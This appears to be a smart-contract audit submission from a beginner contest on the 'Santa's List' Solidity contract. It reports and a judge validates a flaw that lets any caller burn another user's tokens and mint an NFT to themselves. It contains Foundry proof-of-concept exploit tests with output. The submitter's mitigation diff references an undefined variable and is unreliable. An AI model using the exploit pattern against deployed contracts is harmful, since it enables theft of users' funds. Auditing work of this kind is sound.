Santa's List

AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Submission Details
Severity: high
Valid

BuyPresent businnes logic

business logic in BuyPresent function, leads to drain user funds

Description

In BuyPresent function occur critical exploti that leads to drains user funds by calling buyPresent fuction which has no access control, anyone can call it also the caller mint NFT hiself which also breaks the whole protocol.

// Root cause in the codebase with @> marks to highlight the relevant section
function buyPresent(address presentReceiver) external {
//audit-informational no zero address check
@> i_santaToken.burn(presentReceiver);//audit-high why the presentReceiver is one whos token getting burned?? and not msg.sender and why we use _mintAndIncrement if its mint token for msg.sender so in this case to present giver
@> _mintAndIncrement();
}

Risk

Likelihood:

  • HIGH, It occurs everytiem user call function buyPresent with antoher user address as a parameter.

Impact:

  • HIGH, Drains all presentReveiver funds, also the caller benefit from this because he mints NTF for hiself

Proof of Concept
As we can see in this test user had 1e18 in funds in tokens after the function got called by an user his funds have been drained by 1e18 amount.

Also we can see that user who called this function got 1 NFT only for calling this function

function testProofOfCodeBuyPresentBusinessLogic() public {
address user2 = makeAddr("user2");
vm.startPrank(santa);
santasList.checkList(user2, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user2, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.startPrank(user2);
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
santasList.collectPresent(); // user2 gets a EXTRA_NICE present whats mean that he will get 1e18 stantasTokens to his address.
vm.stopPrank();
uint256 user2TokenBalanceBefore = santaToken.balanceOf(user2);
uint256 userNftBalanceBefore = santasList.balanceOf(user);
vm.prank(user);
santasList.buyPresent(user2);
uint256 user2TokenBalanceAfter = santaToken.balanceOf(user2);
uint256 userNftBalanceAfter = santasList.balanceOf(user);
console.log("Receiver token balance before: ", user2TokenBalanceBefore);
console.log(" Receiver token balance after: ", user2TokenBalanceAfter);
console.log(" Giver NFT balance before: ", userNftBalanceBefore);
console.log(" Giver NFT balance after: ", userNftBalanceAfter);
}
[PASS] testProofOfCodeBuyPresentBusinessLogic() (gas: 218933)
Logs:
Receiver token balance before: 1000000000000000000
Receiver token balance after: 0
Giver NFT balance before: 0
Giver NFT balance after: 1

Recommended Mitigation
we shold have added to SantasList.sol function _mintAndIncerementFOrUser(address user) internal {}(_safeMint(user,s_tokenCounter++)) then we call it in fucntion buyPresent that leads to burn msg.sender tokens and nft is minted to presentReceiver instead of msg.sender

- remove this code
function buyPresent(address presentReceiver) external {
- i_santaToken.burn(presentReceiver);
+ i_santaToken.burn(msg.sender);
- _mintAndIncrement();;
+ _mintAndIncrementForUser(user);
}
}
+ add this code
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] SantasList::buyPresent burns token from presentReceiver instead of caller and also sends present to caller instead of presentReceiver.

## Description The `buyPresent` function sends the present to the `caller` of the function but burns token from `presentReceiver` but the correct method should be the opposite of it. Due to this implementation of the function, malicious caller can mint NFT by burning the balance of other users by passing any arbitrary address for the `presentReceiver` field and tokens will be deducted from the `presentReceiver` and NFT will be minted to the malicious caller. Also, the NatSpec mentions that one has to approve `SantasList` contract to burn their tokens but it is not required and even without approving the funds can be burnt which means that the attacker can burn the balance of everyone and mint a large number of NFT for themselves. `buyPresent` function should send the present (NFT) to the `presentReceiver` and should burn the SantaToken from the caller i.e. `msg.sender`. ## Vulnerability Details The vulnerability lies inside the SantasList contract inside the `buyPresent` function starting from line 172. The buyPresent function takes in `presentReceiver` as an argument and burns the balance from `presentReceiver` instead of the caller i.e. `msg.sender`, as a result of which an attacker can specify any address for the `presentReceiver` that has approved or not approved the SantasToken (it doesn't matter whether they have approved token or not) to be spent by the SantasList contract, and as they are the caller of the function, they will get the NFT while burning the SantasToken balance of the address specified in `presentReceiver`. This vulnerability occurs due to wrong implementation of the buyPresent function instead of minting NFT to presentReceiver it is minted to caller as well as the tokens are burnt from presentReceiver instead of burning them from `msg.sender`. Also, the NatSpec mentions that one has to approve `SantasList` contract to burn their tokens but it is not required and even without approving the funds can be burnt which means that the attacker can burn the balance of everyone and mint a large number of NFT for themselves. ```cpp /* * @notice Buy a present for someone else. This should only be callable by anyone with SantaTokens. * @dev You'll first need to approve the SantasList contract to spend your SantaTokens. */ function buyPresent(address presentReceiver) external { @> i_santaToken.burn(presentReceiver); @> _mintAndIncrement(); } ``` ## PoC Add the test in the file: `test/unit/SantasListTest.t.sol` Run the test: ```cpp forge test --mt test_AttackerCanMintNft_ByBurningTokensOfOtherUsers ``` ```cpp function test_AttackerCanMintNft_ByBurningTokensOfOtherUsers() public { // address of the attacker address attacker = makeAddr("attacker"); vm.startPrank(santa); // Santa checks user once as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); // Santa checks user second time santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // christmas time 🌳🎁 HO-HO-HO vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME()); // User collects their NFT and tokens for being EXTRA_NICE vm.prank(user); santasList.collectPresent(); assertEq(santaToken.balanceOf(user), 1e18); uint256 attackerInitNftBalance = santasList.balanceOf(attacker); // attacker get themselves the present by passing presentReceiver as user and burns user's SantaToken vm.prank(attacker); santasList.buyPresent(user); // user balance is decremented assertEq(santaToken.balanceOf(user), 0); assertEq(santasList.balanceOf(attacker), attackerInitNftBalance + 1); } ``` ## Impact - Due to the wrong implementation of function, an attacker can mint NFT by burning the SantaToken of other users by passing their address for the `presentReceiver` argument. The protocol assumes that user has to approve the SantasList in order to burn token on their behalf but it will be burnt even though they didn't approve it to `SantasList` contract, because directly `_burn` function is called directly by the `burn` function and both of them don't check for approval. - Attacker can burn the balance of everyone and mint a large number of NFT for themselves. ## Recommendations - Burn the SantaToken from the caller i.e., `msg.sender` - Mint NFT to the `presentReceiver` ```diff + function _mintAndIncrementToUser(address user) private { + _safeMint(user, s_tokenCounter++); + } function buyPresent(address presentReceiver) external { - i_santaToken.burn(presentReceiver); - _mintAndIncrement(); + i_santaToken.burn(msg.sender); + _mintAndIncrementToUser(presentReceiver); } ``` By applying this recommendation, there is no need to worry about the approvals and the vulnerability - 'tokens can be burnt even though users don't approve' will have zero impact as the tokens are now burnt from the caller. Therefore, an attacker can't burn others token.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!